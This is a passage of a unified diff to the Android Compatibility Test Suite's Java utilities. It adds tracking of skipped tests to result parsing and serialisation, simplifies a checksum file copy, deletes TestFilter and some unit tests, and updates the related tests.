-            result.setTestPlan(parser.getAttributeValue(NS, SUITE_PLAN_ATTR));
-            result.setCommandLineArgs(parser.getAttributeValue(NS, COMMAND_LINE_ARGS));
+            invocation.setTestPlan(parser.getAttributeValue(NS, SUITE_PLAN_ATTR));
+            invocation.setCommandLineArgs(parser.getAttributeValue(NS, COMMAND_LINE_ARGS));
             String deviceList = parser.getAttributeValue(NS, DEVICES_ATTR);
             for (String device : deviceList.split(",")) {
-                result.addDeviceSerial(device);
+                invocation.addDeviceSerial(device);
             }
 
             parser.nextTag();
             parser.require(XmlPullParser.START_TAG, NS, BUILD_TAG);
-            result.addInvocationInfo(BUILD_ID, parser.getAttributeValue(NS, BUILD_ID));
-            result.addInvocationInfo(BUILD_PRODUCT, parser.getAttributeValue(NS,
+            invocation.addInvocationInfo(BUILD_ID, parser.getAttributeValue(NS, BUILD_ID));
+            invocation.addInvocationInfo(BUILD_PRODUCT, parser.getAttributeValue(NS,
                     BUILD_PRODUCT));
-            result.setBuildFingerprint(parser.getAttributeValue(NS, BUILD_FINGERPRINT));
+            invocation.setBuildFingerprint(parser.getAttributeValue(NS, BUILD_FINGERPRINT));
 
             // TODO(stuartscott): may want to reload these incase the retry was done with
             // --skip-device-info flag
@@ -208,7 +207,7 @@
                 String abi = parser.getAttributeValue(NS, ABI_ATTR);
                 String moduleId = AbiUtils.createId(abi, name);
                 boolean done = Boolean.parseBoolean(parser.getAttributeValue(NS, DONE_ATTR));
-                IModuleResult module = result.getOrCreateModule(moduleId);
+                IModuleResult module = invocation.getOrCreateModule(moduleId);
                 module.initializeDone(done);
                 long runtime = Long.parseLong(parser.getAttributeValue(NS, RUNTIME_ATTR));
                 module.addRuntime(runtime);
@@ -220,8 +219,15 @@
                         parser.require(XmlPullParser.START_TAG, NS, TEST_TAG);
                         String testName = parser.getAttributeValue(NS, NAME_ATTR);
                         ITestResult test = testCase.getOrCreateResult(testName);
-                        String resultStatus = parser.getAttributeValue(NS, RESULT_ATTR);
-                        test.setResultStatus(TestStatus.getStatus(resultStatus));
+                        String result = parser.getAttributeValue(NS, RESULT_ATTR);
+                        String skipped = parser.getAttributeValue(NS, SKIPPED_ATTR);
+                        if (skipped != null && Boolean.parseBoolean(skipped)) {
+                            // mark test passed and skipped
+                            test.skipped();
+                        } else {
+                            // only apply result status directly if test was not skipped
+                            test.setResultStatus(TestStatus.getStatus(result));
+                        }
                         test.setRetry(true);
                         while (parser.nextTag() == XmlPullParser.START_TAG) {
                             if (parser.getName().equals(FAILURE_TAG)) {
@@ -248,8 +254,8 @@
                         }
                         parser.require(XmlPullParser.END_TAG, NS, TEST_TAG);
                         Boolean checksumMismatch = invocationUseChecksum
-                                && !checksumReporter.containsTestResult(
-                                test, module, result.getBuildFingerprint());
+                            && !checksumReporter.containsTestResult(
+                                test, module, invocation.getBuildFingerprint());
                         if (checksumMismatch) {
                             test.removeResult();
                         }
@@ -258,14 +264,14 @@
                 }
                 parser.require(XmlPullParser.END_TAG, NS, MODULE_TAG);
                 Boolean checksumMismatch = invocationUseChecksum
-                        && !checksumReporter.containsModuleResult(
-                        module, result.getBuildFingerprint());
+                    && !checksumReporter.containsModuleResult(
+                            module, invocation.getBuildFingerprint());
                 if (checksumMismatch) {
                     module.initializeDone(false);
                 }
             }
             parser.require(XmlPullParser.END_TAG, NS, RESULT_TAG);
-            return result;
+            return invocation;
         } catch (XmlPullParserException | IOException e) {
             e.printStackTrace();
             return null;
@@ -287,7 +293,7 @@
             String suiteBuild, IInvocationResult result, File resultDir,
             long startTime, long endTime, String referenceUrl, String logUrl,
             String commandLineArgs)
-            throws IOException, XmlPullParserException {
+                    throws IOException, XmlPullParserException {
         int passed = result.countResults(TestStatus.PASS);
         int failed = result.countResults(TestStatus.FAIL);
         File resultFile = new File(resultDir, TEST_RESULT_FILE_NAME);
@@ -337,8 +343,7 @@
         String hostName = "";
         try {
             hostName = InetAddress.getLocalHost().getHostName();
-        } catch (UnknownHostException ignored) {
-        }
+        } catch (UnknownHostException ignored) {}
         serializer.attribute(NS, HOST_NAME_ATTR, hostName);
         serializer.attribute(NS, OS_NAME_ATTR, System.getProperty("os.name"));
         serializer.attribute(NS, OS_VERSION_ATTR, System.getProperty("os.version"));
@@ -351,7 +356,7 @@
         for (Entry<String, String> entry : result.getInvocationInfo().entrySet()) {
             serializer.attribute(NS, entry.getKey(), entry.getValue());
             if (Strings.isNullOrEmpty(result.getBuildFingerprint()) &&
-                    entry.getKey().equals(BUILD_FINGERPRINT)) {
+                entry.getKey().equals(BUILD_FINGERPRINT)) {
                 result.setBuildFingerprint(entry.getValue());
             }
         }
@@ -387,6 +392,9 @@
                     serializer.startTag(NS, TEST_TAG);
                     serializer.attribute(NS, RESULT_ATTR, status.getValue());
                     serializer.attribute(NS, NAME_ATTR, r.getName());
+                    if (r.isSkipped()) {
+                        serializer.attribute(NS, SKIPPED_ATTR, Boolean.toString(true));
+                    }
                     String message = r.getMessage();
                     if (message != null) {
                         serializer.startTag(NS, FAILURE_TAG);
@@ -432,6 +440,9 @@
         return resultFile;
     }
 
+    /**
+     * Generate html report listing an failed tests
+     */
     public static File createFailureReport(File inputXml) {
         File failureReport = new File(inputXml.getParentFile(), FAILURE_REPORT_NAME);
         try (InputStream xslStream = ResultHandler.class.getResourceAsStream(
@@ -456,22 +467,18 @@
                 // If the previous run has an invalid checksum file,
                 // copy it into current results folder for future troubleshooting
                 File retryDirectory = invocationResult.getRetryDirectory();
-                File retryChecksum = new File(retryDirectory, ChecksumReporter.NAME);
-                if (!retryChecksum.exists()) {
+                Path retryChecksum = FileSystems.getDefault().getPath(
+                        retryDirectory.getAbsolutePath(), ChecksumReporter.NAME);
+                if (!retryChecksum.toFile().exists()) {
                     // if no checksum file, check for a copy from a previous retry
-                    retryChecksum = new File(retryDirectory, ChecksumReporter.PREV_NAME);
+                    retryChecksum = FileSystems.getDefault().getPath(
+                            retryDirectory.getAbsolutePath(), ChecksumReporter.PREV_NAME);
                 }
 
-                if (retryChecksum.exists()) {
+                if (retryChecksum.toFile().exists()) {
                     File checksumCopy = new File(resultDir, ChecksumReporter.PREV_NAME);
-                    try (OutputStream out = new FileOutputStream(checksumCopy);
-                        InputStream in = new FileInputStream(retryChecksum)) {
-                        // Copy the bits from input stream to output stream
-                        byte[] buf = new byte[1024];
-                        int len;
-                        while ((len = in.read(buf)) > 0) {
-                            out.write(buf, 0, len);
-                        }
+                    try (FileOutputStream stream = new FileOutputStream(checksumCopy)) {
+                        Files.copy(retryChecksum, stream);
                     } catch (IOException e) {
                         // Do not disrupt the process if there is a problem copying checksum
                     }
@@ -479,6 +486,7 @@
         }
     }
 
+
     /**
      * Find the IInvocationResult for the given sessionId.
      */
diff --git a/common/util/src/com/android/compatibility/common/util/StreamUtil.java b/common/util/src/com/android/compatibility/common/util/StreamUtil.java
index febd73d..4cef5c9 100644
--- a/common/util/src/com/android/compatibility/common/util/StreamUtil.java
+++ b/common/util/src/com/android/compatibility/common/util/StreamUtil.java
@@ -20,11 +20,11 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+
 public class StreamUtil {
 
     // 16K buffer size
     private static final int BUFFER_SIZE = 16 * 1024;
-
     /**
      * Copies contents of origStream to destStream.
      * <p/>
diff --git a/common/util/src/com/android/compatibility/common/util/TestFilter.java b/common/util/src/com/android/compatibility/common/util/TestFilter.java
deleted file mode 100644
index 460e34f..0000000
--- a/common/util/src/com/android/compatibility/common/util/TestFilter.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-/**
- * Represents a filter for including and excluding tests.
- */
-public class TestFilter {
-
-    private final String mAbi;
-    private final String mName;
-    private final String mTest;
-
-    /**
-     * Builds a new {@link TestFilter} from the given string. Filters can be in one of four forms,
-     * the instance will be initialized as;
-     * -"name"                 -> abi = null, name = "name", test = null
-     * -"name" "test..."       -> abi = null, name = "name", test = "test..."
-     * -"abi" "name"           -> abi = "abi", name = "name", test = null
-     * -"abi" "name" "test..." -> abi = "abi", name = "name", test = "test..."
-     *
-     * Test identifier can contain multiple parts, eg parameterized tests.
-     *
-     * @param filter the filter to parse
-     * @return the {@link TestFilter}
-     */
-    public static TestFilter createFrom(String filter) {
-        if (filter.isEmpty()) {
-            throw new IllegalArgumentException("Filter was empty");
-        }
-        String[] parts = filter.split(" ");
-        String abi = null, name = null, test = null;
-        // Either:
-        // <name>
-        // <name> <test>
-        // <abi> <name>
-        // <abi> <name> <test>
-        if (parts.length == 1) {
-            name = parts[0];
-        } else {
-            int index = 0;
-            if (AbiUtils.isAbiSupportedByCompatibility(parts[0])) {
-                abi = parts[0];
-                index++;
-            }
-            name = parts[index];
-            index++;
-            parts = filter.split(" ", index + 1);
-            if (parts.length > index) {
-                test = parts[index];
-            }
-        }
-        return new TestFilter(abi, name, test);
-    }
-
-    /**
-     * Creates a new {@link TestFilter} from the given parts.
-     *
-     * @param abi The ABI must be supported {@link AbiUtils#isAbiSupportedByCompatibility(String)}
-     * @param name The module's name
-     * @param test The test's identifier eg <package>.<class>#<method>
-     */
-    public TestFilter(String abi, String name, String test) {
-        mAbi = abi;
-        mName = name;
-        mTest = test;
-    }
-
-    /**
-     * Returns a String representation of this filter. This function is the inverse of
-     * {@link TestFilter#createFrom(String)}.
-     *
-     * For a valid filter f;
-     * <pre>
-     * {@code
-     * new TestFilter(f).toString().equals(f)
-     * }
-     * </pre>
-     */
-    @Override
-    public String toString() {
-        StringBuilder sb = new StringBuilder();
-        if (mAbi != null) {
-            sb.append(mAbi.trim());
-            sb.append(" ");
-        }
-        if (mName != null) {
-            sb.append(mName.trim());
-        }
-        if (mTest != null) {
-            sb.append(" ");
-            sb.append(mTest.trim());
-        }
-        return sb.toString();
-    }
-
-    /**
-     * @return the abi of this filter, or null if not specified.
-     */
-    public String getAbi() {
-        return mAbi;
-    }
-
-    /**
-     * @return the module name of this filter, or null if not specified.
-     */
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * @return the test identifier of this filter, or null if not specified.
-     */
-    public String getTest() {
-        return mTest;
-    }
-
-}
diff --git a/common/util/src/com/android/compatibility/common/util/TestResult.java b/common/util/src/com/android/compatibility/common/util/TestResult.java
index 36b6e5a..18a8b4c 100644
--- a/common/util/src/com/android/compatibility/common/util/TestResult.java
+++ b/common/util/src/com/android/compatibility/common/util/TestResult.java
@@ -30,6 +30,7 @@
     private String mLog;
     private String mScreenshot;
     private boolean mIsRetry;
+    private boolean mSkipped;
 
     /**
      * Create a {@link TestResult} for the given test name.
@@ -173,6 +174,7 @@
      */
     @Override
     public void failed(String trace) {
+        mSkipped = false;
         setResultStatus(TestStatus.FAIL);
         int index = trace.indexOf('\n');
         if (index < 0) {
@@ -189,6 +191,7 @@
      */
     @Override
     public void passed(ReportLog report) {
+        mSkipped = false;
         if (getResultStatus() != TestStatus.FAIL) {
             setResultStatus(TestStatus.PASS);
             if (report != null) {
@@ -202,9 +205,18 @@
      */
     @Override
     public void skipped() {
-        // TODO(b/28386054): Report SKIPPED as a separate result.
-        // For now, we mark this as PASS.
-        setResultStatus(TestStatus.PASS);
+        if (getResultStatus() == null) {
+            mSkipped = true;
+            setResultStatus(TestStatus.PASS);
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public boolean isSkipped() {
+        return mSkipped;
     }
 
     /**
@@ -220,6 +232,7 @@
         mLog = null;
         mScreenshot = null;
         mIsRetry = false;
+        mSkipped = false;
     }
 
     /**
diff --git a/common/util/src/com/android/compatibility/common/util/TestStatus.java b/common/util/src/com/android/compatibility/common/util/TestStatus.java
index 744f760..5a9b170 100644
--- a/common/util/src/com/android/compatibility/common/util/TestStatus.java
+++ b/common/util/src/com/android/compatibility/common/util/TestStatus.java
@@ -22,7 +22,7 @@
     PASS("pass"),
     FAIL("fail");
 
-    private String mValue;
+    private final String mValue;
 
     private TestStatus(String storedValue) {
         mValue = storedValue;
diff --git a/common/util/src/com/android/compatibility/common/util/TestSuiteFilter.java b/common/util/src/com/android/compatibility/common/util/TestSuiteFilter.java
index e498c17..d98bc6d 100644
--- a/common/util/src/com/android/compatibility/common/util/TestSuiteFilter.java
+++ b/common/util/src/com/android/compatibility/common/util/TestSuiteFilter.java
@@ -19,7 +19,6 @@
 import junit.framework.TestResult;
 import junit.framework.TestSuite;
 
-import java.util.ArrayList;
 import java.util.Enumeration;
 import java.util.List;
 import java.util.Set;
diff --git a/common/util/src/com/android/compatibility/common/util/ZipUtil.java b/common/util/src/com/android/compatibility/common/util/ZipUtil.java
index 6cee83a..b44fd46 100644
--- a/common/util/src/com/android/compatibility/common/util/ZipUtil.java
+++ b/common/util/src/com/android/compatibility/common/util/ZipUtil.java
@@ -27,7 +27,6 @@
 import java.util.LinkedList;
 import java.util.List;
 import java.util.zip.ZipEntry;
-import java.util.zip.ZipFile;
 import java.util.zip.ZipOutputStream;
 
 public class ZipUtil {
diff --git a/common/util/tests/Android.mk b/common/util/tests/Android.mk
index aa39ef5..1aca670 100644
--- a/common/util/tests/Android.mk
+++ b/common/util/tests/Android.mk
@@ -18,10 +18,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := junit-host kxml2-2.3.0 tradefed-prebuilt compatibility-common-util-hostsidelib
+LOCAL_JAVA_LIBRARIES := junit-host kxml2-2.3.0 tradefed compatibility-common-util-hostsidelib
 
 LOCAL_MODULE := compatibility-common-util-tests
 
 LOCAL_MODULE_TAGS := optional
-
+include cts/error_prone_rules.mk
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/util/tests/src/com/android/compatibility/common/util/AbiUtilsTest.java b/common/util/tests/src/com/android/compatibility/common/util/AbiUtilsTest.java
deleted file mode 100644
index 567da54..0000000
--- a/common/util/tests/src/com/android/compatibility/common/util/AbiUtilsTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link AbiUtils}
- */
-public class AbiUtilsTest extends TestCase {
-
-    private static final String MODULE_NAME = "ModuleName";
-    private static final String ABI_NAME = "mips64";
-    private static final String ABI_FLAG = "--abi mips64 ";
-    private static final String ABI_ID = "mips64 ModuleName";
-
-    public void testCreateAbiFlag() {
-        String flag = AbiUtils.createAbiFlag(ABI_NAME);
-        assertEquals("Incorrect flag created", ABI_FLAG, flag);
-    }
-
-    public void testCreateId() {
-        String id = AbiUtils.createId(ABI_NAME, MODULE_NAME);
-        assertEquals("Incorrect id created", ABI_ID, id);
-    }
-
-    public void testParseId() {
-        String[] parts = AbiUtils.parseId(ABI_ID);
-        assertEquals("Wrong size array", 2, parts.length);
-        assertEquals("Wrong abi name", ABI_NAME, parts[0]);
-        assertEquals("Wrong module name", MODULE_NAME, parts[1]);
-    }
-
-    public void testParseName() {
-        String name = AbiUtils.parseTestName(ABI_ID);
-        assertEquals("Incorrect module name", MODULE_NAME, name);
-    }
-
-    public void testParseAbi() {
-        String abi = AbiUtils.parseAbi(ABI_ID);
-        assertEquals("Incorrect abi name", ABI_NAME, abi);
-    }
-
-}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/DynamicConfigTest.java b/common/util/tests/src/com/android/compatibility/common/util/DynamicConfigTest.java
index cf1892a..99ef733 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/DynamicConfigTest.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/DynamicConfigTest.java
@@ -16,6 +16,8 @@
 
 package com.android.compatibility.common.util;
 
+import com.android.tradefed.util.FileUtil;
+
 import junit.framework.TestCase;
 
 import org.xmlpull.v1.XmlPullParserException;
@@ -28,7 +30,7 @@
  * Unit tests for {@link DynamicConfig}
  */
 public class DynamicConfigTest extends TestCase {
-    private static final String correctConfig =
+    private static final String CORRECT_CONFIG =
             "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
             "<dynamicConfig>\n" +
             "    <entry key=\"test-config-1\">\n" +
@@ -53,7 +55,7 @@
             "    </entry>\n" +
             "</dynamicConfig>\n";
 
-    private static final String configWrongNodeName =
+    private static final String CONFIG_WRONG_NODE_NAME =
             "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
             "<dynamicCsonfig>\n" +  //The node name dynamicConfig is intentionally mistyped
             "    <entry key=\"test-config-1\">\n" +
@@ -80,25 +82,29 @@
 
     public void testCorrectConfig() throws Exception {
         DynamicConfig config = new DynamicConfig();
-        File file = createFileFromStr(correctConfig);
-        config.initializeConfig(file);
-
-        assertEquals("Wrong Config", config.getValue("test-config-1"), "test config 1");
-        assertEquals("Wrong Config", config.getValue("test-config-2"), "testconfig2");
-        assertEquals("Wrong Config List", config.getValues("config-list").get(0), "config0");
-        assertEquals("Wrong Config List", config.getValues("config-list").get(2), "config2");
-        assertEquals("Wrong Config List", config.getValues("config-list-2").get(2), "C");
+        File file = createFileFromStr(CORRECT_CONFIG);
+        try {
+            config.initializeConfig(file);
+            assertEquals("Wrong Config", config.getValue("test-config-1"), "test config 1");
+            assertEquals("Wrong Config", config.getValue("test-config-2"), "testconfig2");
+            assertEquals("Wrong Config List", config.getValues("config-list").get(0), "config0");
+            assertEquals("Wrong Config List", config.getValues("config-list").get(2), "config2");
+            assertEquals("Wrong Config List", config.getValues("config-list-2").get(2), "C");
+        } finally {
+            FileUtil.deleteFile(file);
+        }
     }
 
     public void testConfigWithWrongNodeName() throws Exception {
         DynamicConfig config = new DynamicConfig();
-        File file = createFileFromStr(configWrongNodeName);
-
+        File file = createFileFromStr(CONFIG_WRONG_NODE_NAME);
         try {
             config.initializeConfig(file);
             fail("Cannot detect error when config file has wrong node name");
         } catch (XmlPullParserException e) {
             //expected
+        } finally {
+            FileUtil.deleteFile(file);
         }
     }
 
@@ -107,6 +113,7 @@
         FileOutputStream stream = new FileOutputStream(file);
         stream.write(configStr.getBytes());
         stream.flush();
+        stream.close();
         return file;
     }
 }
diff --git a/common/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java b/common/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java
deleted file mode 100644
index e71e1c3..0000000
--- a/common/util/tests/src/com/android/compatibility/common/util/ModuleResultTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import junit.framework.TestCase;
-
-/**
- * Unit tests for {@link ModuleResult}
- */
-public class ModuleResultTest extends TestCase {
-
-    private static final String NAME = "ModuleName";
-    private static final String NAME_2 = "ModuleName2";
-    private static final String ABI = "mips64";
-    private static final String ID = AbiUtils.createId(ABI, NAME);
-    private static final String ID_2 = AbiUtils.createId(ABI, NAME_2);
-    private static final String CLASS = "android.test.FoorBar";
-    private static final String CLASS_2 = "android.test.FoorBar2";
-    private static final String METHOD_1 = "testBlah1";
-    private static final String METHOD_2 = "testBlah2";
-    private static final String METHOD_3 = "testBlah3";
-    private static final String STACK_TRACE = "Something small is not alright\n " +
-            "at four.big.insects.Marley.sing(Marley.java:10)";
-    private ModuleResult mResult;
-
-    @Override
-    public void setUp() throws Exception {
-        mResult = new ModuleResult(ID);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mResult = null;
-    }
-
-    public void testAccessors() throws Exception {
-        assertEquals("Incorrect module ID", ID, mResult.getId());
-        assertEquals("Incorrect module ABI", ABI, mResult.getAbi());
-        assertEquals("Incorrect module name", NAME, mResult.getName());
-    }
-
-    public void testResultCreation() throws Exception {
-        ICaseResult caseResult = mResult.getOrCreateResult(CLASS);
-        // Should create one
-        assertEquals("Expected one result", 1, mResult.getResults().size());
-        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
-        // Should not create another one
-        ICaseResult caseResult2 = mResult.getOrCreateResult(CLASS);
-        assertEquals("Expected the same result", caseResult, caseResult2);
-        assertEquals("Expected one result", 1, mResult.getResults().size());
-    }
-
-    public void testCountResults() throws Exception {
-        ICaseResult testCase = mResult.getOrCreateResult(CLASS);
-        testCase.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
-        testCase.getOrCreateResult(METHOD_2).failed(STACK_TRACE);
-        testCase.getOrCreateResult(METHOD_3).passed(null);
-        assertEquals("Expected two failures", 2, mResult.countResults(TestStatus.FAIL));
-        assertEquals("Expected one pass", 1, mResult.countResults(TestStatus.PASS));
-    }
-
-    public void testMergeModule() throws Exception {
-        ICaseResult caseResult = mResult.getOrCreateResult(CLASS);
-        caseResult.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
-        caseResult.getOrCreateResult(METHOD_3).passed(null);
-
-        ICaseResult caseResult2 = mResult.getOrCreateResult(CLASS_2);
-        caseResult2.getOrCreateResult(METHOD_1).failed(STACK_TRACE);
-        caseResult2.getOrCreateResult(METHOD_3).passed(null);
-
-        assertEquals("Expected two results", 2, mResult.getResults().size());
-        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
-        assertTrue("Expected test result", mResult.getResults().contains(caseResult2));
-
-        ModuleResult otherResult = new ModuleResult(ID);
-        // Same class but all passing tests
-        ICaseResult otherCaseResult = otherResult.getOrCreateResult(CLASS);
-        otherCaseResult.getOrCreateResult(METHOD_1).passed(null);
-        otherCaseResult.getOrCreateResult(METHOD_2).passed(null);
-        otherCaseResult.getOrCreateResult(METHOD_3).passed(null);
-        otherResult.setDone(true);
-
-        mResult.mergeFrom(otherResult);
-
-        assertEquals("Expected two results", 2, mResult.getResults().size());
-        assertTrue("Expected test result", mResult.getResults().contains(caseResult));
-        assertTrue("Expected test result", mResult.getResults().contains(caseResult2));
-        assertTrue(mResult.isDone());
-    }
-
-    public void testSetDone() {
-        assertFalse(mResult.isDone());
-        mResult.setDone(true);
-        assertTrue(mResult.isDone());
-    }
-
-    public void testMergeModule_mismatchedModuleId() throws Exception {
-
-        ModuleResult otherResult = new ModuleResult(ID_2);
-        try {
-            mResult.mergeFrom(otherResult);
-            fail("Expected IlleglArgumentException");
-        } catch (IllegalArgumentException expected) {}
-    }
-}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/ReportLogTest.java b/common/util/tests/src/com/android/compatibility/common/util/ReportLogTest.java
index c8d4682..0da5f2d 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/ReportLogTest.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/ReportLogTest.java
@@ -20,9 +20,6 @@
 
 import junit.framework.TestCase;
 
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.util.List;
 import java.util.Arrays;
 
 /**
@@ -38,7 +35,8 @@
     private static final String SUMMARY_XML =
             HEADER_XML + "\r\n" +
             "<Summary>\r\n" +
-            "  <Metric source=\"com.android.compatibility.common.util.ReportLogTest#%s\" message=\"Sample\" score_type=\"higher_better\" score_unit=\"byte\">\r\n" +
+            "  <Metric source=\"com.android.compatibility.common.util.ReportLogTest#%s\" "
+            + "message=\"Sample\" score_type=\"higher_better\" score_unit=\"byte\">\r\n" +
             "    <Value>1.0</Value>\r\n" +
             "  </Metric>\r\n" +
             "</Summary>";
@@ -66,7 +64,7 @@
 
     public void testSerialize_summaryOnly() throws Exception {
         mReportLog.setSummary("Sample", 1.0, ResultType.HIGHER_BETTER, ResultUnit.BYTE);
-        assertEquals(String.format(SUMMARY_XML, "testSerialize_summaryOnly:68"),
+        assertEquals(String.format(SUMMARY_XML, "testSerialize_summaryOnly:66"),
                 ReportLog.serialize(mReportLog));
     }
 
@@ -78,7 +76,7 @@
     public void testSerialize_full() throws Exception {
         mReportLog.setSummary("Sample", 1.0, ResultType.HIGHER_BETTER, ResultUnit.BYTE);
         mReportLog.addValues("Details", VALUES, ResultType.NEUTRAL, ResultUnit.FPS);
-        assertEquals(String.format(FULL_XML, "testSerialize_full:79"),
+        assertEquals(String.format(FULL_XML, "testSerialize_full:77"),
                 ReportLog.serialize(mReportLog));
     }
 
diff --git a/common/util/tests/src/com/android/compatibility/common/util/ResultHandlerTest.java b/common/util/tests/src/com/android/compatibility/common/util/ResultHandlerTest.java
index 3f50990..932db8e 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/ResultHandlerTest.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/ResultHandlerTest.java
@@ -16,6 +16,7 @@
 package com.android.compatibility.common.util;
 
 import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.AbiUtils;
 
 import junit.framework.TestCase;
 
@@ -68,6 +69,7 @@
     private static final String METHOD_2 = "testBlah2";
     private static final String METHOD_3 = "testBlah3";
     private static final String METHOD_4 = "testBlah4";
+    private static final String METHOD_5 = "testBlah5";
     private static final String SUMMARY_SOURCE = String.format("%s#%s:20", CLASS_B, METHOD_4);
     private static final String SUMMARY_MESSAGE = "Headline";
     private static final double SUMMARY_VALUE = 9001;
@@ -85,7 +87,6 @@
     private static final String REFERENCE_URL="http://android.com";
     private static final String LOG_URL ="file:///path/to/logs";
     private static final String COMMAND_LINE_ARGS = "cts -m CtsMyModuleTestCases";
-    private static final String JOIN = "%s%s";
     private static final String XML_BASE =
             "<?xml version='1.0' encoding='UTF-8' standalone='no' ?>" +
             "<?xml-stylesheet type=\"text/xsl\" href=\"compatibility_result.xsl\"?>\n" +
@@ -114,8 +115,8 @@
             "    </TestCase>\n";
     private static final String XML_TEST_PASS =
             "      <Test result=\"pass\" name=\"%s\"/>\n";
-    private static final String XML_TEST_NOT_EXECUTED =
-            "      <Test result=\"not_executed\" name=\"%s\"/>\n";
+    private static final String XML_TEST_SKIP =
+            "      <Test result=\"pass\" name=\"%s\" skipped=\"true\"/>\n";
     private static final String XML_TEST_FAIL =
             "      <Test result=\"fail\" name=\"%s\">\n" +
             "        <Failure message=\"%s\">\n" +
@@ -144,9 +145,7 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (resultsDir != null) {
-            FileUtil.recursiveDelete(resultsDir);
-        }
+        FileUtil.recursiveDelete(resultsDir);
     }
 
     public void testSerialization() throws Exception {
@@ -157,6 +156,7 @@
         result.addDeviceSerial(DEVICE_B);
         result.addInvocationInfo(BUILD_ID, EXAMPLE_BUILD_ID);
         result.addInvocationInfo(BUILD_PRODUCT, EXAMPLE_BUILD_PRODUCT);
+        // Module A: test1 passes, test2 not executed
         IModuleResult moduleA = result.getOrCreateModule(ID_A);
         moduleA.setDone(false);
         moduleA.addRuntime(Integer.parseInt(RUNTIME_A));
@@ -165,7 +165,7 @@
         moduleATest1.setResultStatus(TestStatus.PASS);
         ITestResult moduleATest2 = moduleACase.getOrCreateResult(METHOD_2);
         moduleATest2.setResultStatus(null); // not executed test
-
+        // Module B: test3 fails, test4 passes with report log, test5 passes with skip
         IModuleResult moduleB = result.getOrCreateModule(ID_B);
         moduleB.setDone(true);
         moduleB.addRuntime(Integer.parseInt(RUNTIME_B));
@@ -184,6 +184,8 @@
                 SUMMARY_VALUE, ResultType.HIGHER_BETTER, ResultUnit.SCORE);
         report.setSummary(summary);
         moduleBTest4.setReportLog(report);
+        ITestResult moduleBTest5 = moduleBCase.getOrCreateResult(METHOD_5);
+        moduleBTest5.skipped();
 
         // Serialize to file
         ResultHandler.writeResults(SUITE_NAME, SUITE_VERSION, SUITE_PLAN, SUITE_BUILD,
@@ -215,7 +217,6 @@
     static File writeResultDir(File resultsDir) throws IOException {
         File resultDir = null;
         FileWriter writer = null;
-        String dateString = ResultHandler.toReadableDateString(System.currentTimeMillis());
         try {
             resultDir = FileUtil.createTempDir("12345", resultsDir);
             // Create the result file
@@ -223,23 +224,22 @@
             writer = new FileWriter(resultFile);
             String buildInfo = String.format(XML_BUILD_INFO, DEVICE_A,
                     EXAMPLE_BUILD_ID, EXAMPLE_BUILD_PRODUCT);
-            String summary = String.format(XML_SUMMARY, 2, 1, 1);
+            String summary = String.format(XML_SUMMARY, 2, 1);
             String moduleATest = String.format(XML_TEST_PASS, METHOD_1);
             String moduleACases = String.format(XML_CASE, CLASS_A, moduleATest);
             String moduleA = String.format(XML_MODULE, NAME_A, ABI, DEVICE_A, RUNTIME_A, DONE_A,
                     moduleACases);
             String moduleBTest3 = String.format(XML_TEST_FAIL, METHOD_3, MESSAGE, STACK_TRACE,
                     BUG_REPORT, LOGCAT, SCREENSHOT);
-            String moduleBTest4 = String.format(XML_TEST_RESULT, METHOD_4,
-                    SUMMARY_SOURCE, SUMMARY_MESSAGE, ResultType.HIGHER_BETTER.toReportString(),
-                    ResultUnit.SCORE.toReportString(), Double.toString(SUMMARY_VALUE),
